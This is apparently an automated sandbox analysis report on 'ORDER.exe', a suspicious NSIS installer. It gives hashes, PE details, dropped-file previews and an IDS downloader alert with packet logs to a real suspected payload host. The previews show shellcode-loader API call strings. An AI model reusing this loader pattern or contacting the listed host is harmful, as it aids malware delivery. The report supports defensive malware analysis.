Malicious:	false
Preview:	vilkaarligheden primaternes somewhere reformistiskes pseudoscientifically aggraverende ascidian tidsindstillet udvekslingsformaters porker igjen daddels..recoagulate submucronated cupular miasm mikrofon butterdejssnitter boreholes scrunger lafite childbirth samfundsvidenskaber..coabode archaeolater prisoning,taurean terminalknudes raisons trindadiske kardinaliteter fakkeltogene necessitarianism.altsaxofoner coliseum overdosage forbindelsesofficer reuphold ndlidendes amant,gldesfesternes spejlblankt toastable urol puffwig,

C:\Users\user\AppData\Local\Temp\nsc6265.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.277864128228976
Encrypted:	false
SSDEEP:	3:sAAEVvjssEL84n:fLzq
MD5:	2DD0441AF10D920D942B7ABD6DB12A0E
SHA1:	A30239629869D259B9F8EB8C52892FB5BA1E6420
SHA-256:	5C77D97F033A82507A0DB34CF67C39F2CF329E74701C2FF64EA8C45E1460FFD5
SHA-512:	C85FB31758D365493D0E88EC6772BE1ED15ACE5198B4A570FDE92D31C820311F7303FCCB8A80D5D1B3E122AC69F9539AC0DE4134ACE0DE178DE38306D03A227E
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 10485760,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsi5757.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.487582004007327
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEj3j9xQoXUn:A9xvUn
MD5:	F401D6814F595B89476ABE6FE3F36969
SHA1:	0F1036DA630FFE4D7981E8BE4086A49950192E6E
SHA-256:	212700C392AD28F9246B5F2C4ACC11B9800911C76F75CED1D6CDC2D83CA2C3FC
SHA-512:	4C79CE1F02E2192CB961B34910E34EB5C3D8B8159755BBAE10E2C03A33608BE8B6F5CD30377E80807FB2D6C38DA4673CAA9776E6753E95AD524F7C8FE9E3DA73
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 10485760, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nsm3B50.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.779474184733856
Encrypted:	false
SSDEEP:	96:zPDYcJ+nx4vVp76JX7zBlkCg21Fxz4THxtrqw1at0JgwLEjo+OB3yUVCdl/wNj+y:zPtkuWJX7zB3kGwfy0nyUVsxCjOM61u
MD5:	6F5257C0B8C0EF4D440F4F4FCE85FB1B
SHA1:	B6AC111DFB0D1FC75AD09C56BDE7830232395785
SHA-256:	B7CCB923387CC346731471B20FC3DF1EAD13EC8C2E3147353C71BB0BD59BC8B1
SHA-512:	A3CC27F1EFB52FB8ECDA54A7C36ADA39CEFEABB7B16F2112303EA463B0E1A4D745198D413EEBB3551E012C84A20DCDF4359E511E51BC3F1A60B13F1E3BAD1AA8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: ulACwpUCSU.exe, Detection: malicious, Browse Filename: fJuwM4Bwi7.exe, Detection: malicious, Browse Filename: ulACwpUCSU.exe, Detection: malicious, Browse Filename: fJuwM4Bwi7.exe, Detection: malicious, Browse Filename: Factura 02297-23042024.exe, Detection: malicious, Browse Filename: anebilledes.exe, Detection: malicious, Browse Filename: Factura 02297-23042024.exe, Detection: malicious, Browse Filename: anebilledes.exe, Detection: malicious, Browse Filename: Purchase Order1613400027654123.pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....\.U...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text..._........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..b....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsw2DA3.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	data
Category:	dropped
Size (bytes):	1155432
Entropy (8bit):	4.242047758434036
Encrypted:	false
SSDEEP:	6144:5MfR/oEr7eSvNoL2p1W6HbPaQhjyywLs2pIvDwKRQtv6ZHHbcdp7gE2bN0s7ytij:ObeSvNoCpcdOh7YuxT
MD5:	EA34E794F6026FC2664F8A371ECF01E4
SHA1:	BDAC91F92F955B9DBC45F9B077382986756F7E76
SHA-256:	CDCF28ADC6C21C0272D483EB69CECD5D1358CE0C2CD03058AC8C92978D24C7FD
SHA-512:	6A084FBEE9503D72D0275B62774268A2B35074EB0A9EADD57599B311C15257FB3AE55334FF0FBCB1482E877909CEFD14D1A01122673995CF81013818C057CB59
Malicious:	false
Preview:	........,...................x...............................................................................................................................................................................................................................................................J...b..........."...j...............................................................................................................................k...................Y...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsy4C3A.tmp

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\Public\Videos\Besiddetrang.lnk

Download File

Process:	C:\Users\user\Desktop\ORDER.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	756
Entropy (8bit):	3.5572600264694407
Encrypted:	false
SSDEEP:	12:8wl080a/ledp8tzIAGbdpYQI1WQ1EyPWEMMgQ/CNUvH4t2YCBTo8:8wudOaAidU1XPWNMXOUFJT
MD5:	83602944D0906BA235AB234CB27633CE
SHA1:	0A7F8E2B6003B686AE51B7671D46BC17BBCD9D18
SHA-256:	40DFF7E9379AD190EFD9B0D1608E87599C1E12C484E643B8DB3865EC3752A546
SHA-512:	DCD6D318A02B2493AD4D1D081ECD56D82F1478D508A1807A755399E105FC4E8B43A493D05E5A9CCBFE7D086189D9F23C50D8B22BDA63A76EF30D9B960740FCA7
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".h.2...........rytmiskes.cry.L............................................r.y.t.m.i.s.k.e.s...c.r.y............\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.r.y.t.m.i.s.k.e.s...c.r.y.:.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.R.h.a.b.d.o.p.h.o.r.a.\.f.r.y.s.e.r.e.\.t.u.r.n.p.i.k.e.........................@Z\|...K.J.....................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.9.5.8.8.3.8.2.-.3.7.7.8.2.2.2.4.1.4.-.1.0.0.1.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.968875746267401
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ORDER.exe
File size:	493'216 bytes
MD5:	08d42759644a2b6c75d6e1cdf188bf40
SHA1:	c3c6ddce56119679354eddc452ef29151ddf47cd
SHA256:	342a7c418f2125aee7a228634841450a97c0b0653c5f9217bd1bb0677a5b14db
SHA512:	32feac648482fbf434525f1f8bfe776e8dfb0643bd8d86e0a00056ad1a6cf4a4e4e5e41813d1e3842d10ad25530f80bc97dba761b8e481897cf59e38833af06f
SSDEEP:	12288:oirXIqhvMRU8b+R9N/W5WOBSirZKysFIfb3kp01C:oicqt0bWNhOIircysFIfbUK1C
TLSH:	ADA4236236E605BFDEC209713527AEB4E6B5D309503192CF2B537EBBAE713839447412
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....\.U.................^...........2.......p....@

File Icon


Icon Hash:	6b69616563c36a25

Static PE Info

General

Entrypoint:	0x403217
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x55C15CE3 [Wed Aug 5 00:46:27 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	59a4a44a250c4cf4f2d9de2b3fe5d95f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Majestical Hurricano ", O=Emneomraadedefinitionen, L=Princetown, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	11/06/2024 06:46:36 11/06/2027 06:46:36
Subject Chain	CN="Majestical Hurricano ", O=Emneomraadedefinitionen, L=Princetown, S=England, C=GB
Version:	3
Thumbprint MD5:	823245696C81DBEB8360A86EC2BD6600
Thumbprint SHA-1:	918F162D8133F66E92EFC734228B539A11D51115
Thumbprint SHA-256:	2261985A5B39C77E11B7E67265836ECAB80B6C446BF3A73F25B63C2D84C89041
Serial:	321044E07399001AC894E678091B1130917A5EAF

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B4h]
push ebx
call dword ptr [0040728Ch]
push 00000009h
mov dword ptr [004237B8h], eax
call 00007F1480400AEAh
mov dword ptr [00423704h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECB8h
call dword ptr [00407164h]
push 004091E4h
push 00422F00h
call 00007F1480400794h
call dword ptr [004070B0h]
mov ebp, 00429000h
push eax
push ebp
call 00007F1480400782h
push ebx
call dword ptr [00407118h]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423700h], eax
mov eax, ebp
jne 00007F14803FDCECh
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F1480400212h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+1Ch], eax
jmp 00007F14803FDDA5h
cmp cl, 00000020h
jne 00007F14803FDCE8h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F14803FDCDCh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x1898	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x77398	0x1308
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5c3a	0x5e00	e5e7adda692e6e028f515fe3daa2b69f	False	0.658951130319149	data	6.410406825129756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	5801d712ecba58aa87d1e7d1aa24f3aa	False	0.4522569444444444	OpenPGP Secret Key	5.236122428806677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a7f8	0x400	cc58d0a55ac015d8f1470ea90f440596	False	0.615234375	data	5.02661163746607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x37000	0x1898	0x1a00	af44e2ba305b9ce094acbbb3fd1dcbf7	False	0.6658653846153846	data	6.24140956459458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x371d8	0xe23	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8623929262227135
RT_DIALOG	0x38000	0x100	data	English	United States	0.5234375
RT_DIALOG	0x38100	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x38220	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x38280	0x14	data	English	United States	1.05
RT_VERSION	0x38298	0x2c0	data	English	United States	0.4772727272727273
RT_MANIFEST	0x38558	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, SearchPathA, GetShortPathNameA, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, Sleep, CloseHandle, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, GlobalAlloc, CompareFileTime, SetFileTime, ExpandEnvironmentStringsA, lstrcmpiA, lstrcmpA, WaitForSingleObject, GlobalFree, GetExitCodeProcess, GetModuleHandleA, GetTempPathA, GetWindowsDirectoryA, LoadLibraryExA, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, WriteFile, FindClose, WritePrivateProfileStringA, MultiByteToWideChar, MulDiv, GetPrivateProfileStringA, FreeLibrary
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-12T10:16:32.598718+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49736	107.150.19.141	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 12, 2024 10:16:32.149832010 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.373116970 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.373378992 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.374289989 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.598370075 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.598444939 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.598507881 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.598562956 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.598717928 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.598872900 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.821602106 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821683884 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821746111 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821805000 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821860075 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821913958 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.821981907 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.822000027 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.822041988 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:32.822114944 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.822114944 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.822324991 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:32.822324991 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045320988 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045403957 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045465946 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045523882 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045545101 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045587063 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045650005 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045708895 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045717955 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045772076 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045830011 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045851946 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045851946 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045851946 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.045886993 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.045944929 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046003103 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046005011 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046063900 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046118021 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046173096 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046175957 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046176910 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046176910 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046227932 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.046386003 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046559095 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046560049 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.046560049 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.268825054 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.268898964 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.268954039 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269000053 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269011021 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269067049 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269119978 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269144058 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269176006 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269182920 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269232035 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269285917 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269340038 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269349098 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269349098 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269393921 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269450903 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269505978 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269517899 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269560099 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269614935 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269668102 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269721031 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269736052 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269736052 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269776106 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269830942 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269884109 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269903898 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.269937992 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.269993067 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270045996 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270085096 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270085096 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270100117 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270154953 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270200014 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270200014 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270209074 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270262957 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270317078 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270370007 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270370007 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270370960 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270370960 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270426035 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270479918 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270533085 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.270585060 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270755053 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270755053 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.270755053 CEST	49736	80	192.168.11.20	107.150.19.141
Sep 12, 2024 10:16:33.493576050 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.493685007 CEST	80	49736	107.150.19.141	192.168.11.20
Sep 12, 2024 10:16:33.493803024 CEST	80	49736	107.150.19.141	192.168.11.20
